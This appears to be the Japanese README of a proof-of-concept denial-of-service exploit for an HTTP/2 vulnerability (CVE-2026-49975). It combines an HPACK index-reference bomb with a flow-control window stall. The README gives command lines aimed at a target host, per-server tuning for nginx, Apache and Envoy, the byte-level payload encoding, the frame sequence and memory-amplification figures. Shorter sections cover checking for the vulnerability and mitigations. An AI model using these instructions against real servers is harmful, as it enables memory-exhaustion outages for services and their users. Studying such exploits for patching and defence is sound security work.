
HTTP/2 Bomb PoC — CVE-2026-49975 (HPACKインデックス参照爆弾 + フロー制御ストール)
CVE-2026-49975 の概念実証エクスプロイト。HTTP/2 サーバー実装におけるリモートサービス拒否の脆弱性です。Quang Luong (Calif Security Research) によって発見され、2026 年 6 月 2 日に公開されました。
許可されたセキュリティテストにのみ使用してください。所有していない、またはテストする書面による許可を得ていないインフラストラクチャに対して使用しないでください。
この攻撃は、2 つの HTTP/2 プロトコルメカニズムを連鎖させます。
1. HPACK インデックス参照爆弾
HPACK (RFC 7541) では、送信側は以前に受信したヘッダーをインデックスで参照できます(通常は1バイト)。このエクスプロイトは、ほぼ空のヘッダーを動的テーブルに一度挿入し、その後何千回も参照します。1 バイトのワイヤー参照ごとに、サーバーはエントリごとに約 70 バイトの内部管理領域を割り当てることを強制されます。大きな値は含まれないため、「max decoded header size」制限はトリガーされません。
2. HTTP/2 フロー制御ウィンドウの停止
受信ウィンドウをゼロバイトアドバタイズすることで、攻撃者はサーバーが応答を送信したりメモリを解放するのを防ぎます。定期的な 1 バイトの WINDOW_UPDATE フレームにより、サーバーの送信タイムアウトがリセットされ、接続が開いている間は割り当てが保持されます。
結果: ストリームあたり約 16 KB 送信 → ストリームあたり約 1.15 MB のサーバー RAM が割り当てられ保持されます。
依存関係なし — stdlib のみ。
# 基本テスト(単一接続)
python3 exploit-test.py target.com 443
# nginx 固有の管理情報爆弾(nginx ターゲット推奨)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy クッキークラム方式
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 平文(稀 — ほとんどのサーバーは h2 に TLS を要求)
python3 exploit-test.py target.com 80 --no-ssl
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx 例: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
# HTTP/2 サポートとサーバーバージョンを確認
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# 以下の場合に脆弱:
# - ALPN: server accepted h2 (HTTP/2 が有効)
# - server: nginx/X.Y.Z (X.Y.Z < 1.29.8)
nginx — 1.29.8+ にアップグレードし、以下を追加:
http2 max_headers 1000;
または HTTP/2 を完全に無効化:
# listen ディレクティブから "http2" を削除
listen 443 ssl;
Apache httpd — mod_http2 を v2.0.41+ にアップグレード。暫定: Protocols http/1.1
IIS / Envoy / Pingora — 執筆時点で利用可能なパッチなし。HTTP/2 を無効にするか、パッチ適用済みのプロキシを前面に配置してください。
全般(全サーバー):
# ワーカーメモリを制限し爆発範囲を制限
ulimit -v 2097152 # プロセスあたり 2 GB
# Docker: --memory="2g" --memory-swap="2g"
動的テーブルシード(増分インデックス、インデックス62に追加):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
エントリ62へのインデックス参照(各1バイト):
0x80 | 62 = 0xbe
ストリームあたりのワイヤーペイロード = 9バイト(シード)+ Nバイト(N個の参照)
参照あたりのサーバー割り当て ≈ sizeof(ngx_table_elt_t) ≈ 70バイト
クライアント → サーバー:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (停止設定)
SETTINGS ACK (サーバーSETTINGS読み取り後)
HEADERS [stream 1] ← 爆弾ペイロード (疑似ヘッダー + HPACK爆弾)
HEADERS [stream 3] ← 爆弾ペイロード
...
WINDOW_UPDATE(1) per stream / 1s (キープアライブ停止)
| ファイル | 説明 |
|---|---|
exploit-test.py | メイン PoC — マルチストリーム、継続的再接続、nginx + classic モード |
SECURITY-REPORT-MIST.md | mist.ac.bd 向け公式評価レポート |
LICENSE | MIT |
| サーバー | 増幅率 | デモの影響 | ステータス |
|---|
| Envoy 1.37.2 | ~5,700:1 | 約10秒で32 GB | 公開時パッチなし |
| Apache httpd 2.4.67 | ~4,000:1 | 約18秒で32 GB | mod_http2 v2.0.41 で修正済み |
| nginx < 1.29.8 | ~70:1 | 約45秒で32 GB | nginx 1.29.8 で修正済み |
| Microsoft IIS (WS 2025) | ~68:1 | 約45秒で64 GB | 公開時パッチなし |
| Cloudflare Pingora | ~68:1 | — | 公開時パッチなし |
| フラグ | デフォルト | 説明 |
|---|
target | — | ホスト名または IP |
port | 443 | TCP ポート |
--threads | 1 | 並列接続数(各接続は切断時に再接続) |
--streams | 10 | 接続あたりの HTTP/2 ストリーム数 |
--headers | 5000 | ストリームあたりの HPACK インデックス参照数 |
--mode | nginx | nginx(管理情報、70:1)または classic(大きな値、4000:1) |
--no-ssl | オフ | TLS を無効 (h2c) |
| ターゲット | モード | --headers | 備考 |
|---|
| nginx < 1.29.8 | nginx | 16374 | デフォルトの http2_max_header_size 16k に収まる |
| Apache httpd | classic | 5000 | クッキークラム方式 |
| Envoy | classic | 32000 | 高増幅率 |